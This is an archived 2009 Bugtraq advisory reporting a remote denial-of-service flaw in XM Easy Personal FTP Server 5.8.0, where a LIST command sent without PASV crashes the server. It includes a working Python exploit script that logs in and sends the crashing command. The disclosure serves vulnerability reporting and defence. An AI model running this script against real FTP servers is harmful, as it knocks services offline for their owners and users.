bugtraq - XM Easy Personal FTP Server 'LIST' Command Remote DoS Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: 10 Nov 2009 03:07:00 -0000
From: zhangmc@...l.ustc.edu.cn
To: bugtraq@...urityfocus.com
Subject: XM Easy Personal FTP Server 'LIST' Command Remote DoS Vulnerability

Date of Discovery: 10-Nov-2009

Credits:zhangmc[at]mail.ustc.edu.cn

Vendor: Dxmsoft

Affected:
XM Easy Personal FTP Server 5.8.0
Earlier versions may also be affected

Overview:
XM Easy Personal FTP Server is a easy use FTP server Application. Denial of service vulnerability exists in XM Personal FTP Server that causes the application to crash when the "LIST" is sent to FTP server if you do not use "PASV" or "POST" first.

Details:
XM Easy Personal FTP Server can't handle "LIST" command if you do not use "PASV" or "POST" first.If you have logged on the server successfully,a "LIST" command will lead the ftp server to crash.

Severity:
High

Exploit example:
#!/usr/bin/python
import socket
import sys

def Usage():
    print ("Usage:  ./expl.py <serv_ip>      <Username> <password>\n")
    print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")
if len(sys.argv) <> 4:
        Usage()
        sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 21))
    except:
        print ("Connection error!")
        sys.exit(1)
    r=sock.recv(1024)
    sock.send("user %s\r\n" %username)
    r=sock.recv(1024)
    sock.send("pass %s\r\n" %passwd)
    r=sock.recv(1024)
    sock.send("LIST\r\n")
    sock.close()
    sys.exit(0);